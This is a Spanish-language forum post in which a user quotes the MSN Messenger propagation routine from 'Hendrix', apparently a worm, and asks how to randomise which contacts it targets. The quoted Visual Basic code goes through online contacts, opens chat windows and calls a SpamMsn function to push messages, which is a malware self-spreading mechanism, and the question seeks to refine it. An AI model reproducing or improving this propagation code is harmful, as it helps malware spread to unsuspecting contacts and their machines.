Fragmento de paper Hendrix Propagacion por msn duda

[xDie]

Hola estoy bichando el codigo de hendrix lo cual la funcion de spam es esta

Código [Seleccionar] Expandir


Public Sub mandar()

Set w = CreateObject("Messenger.UIAutomation")
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
If ConTacto.Status = 2 Then 'Si el contacto esta OnLine...
Set iMsn = w.InstantMessage(ConTacto.SigninName) 'abrimos la ventana de chat
Call SpamMsn(iMsn.hWnd) 'Esta funcion es la que hace el trabajo

End If
Next

End Sub

Como puedo hacer en evs de usar for each, y poder que el contacto sea aleatorio usando Rnd o otra cosa.. Gracias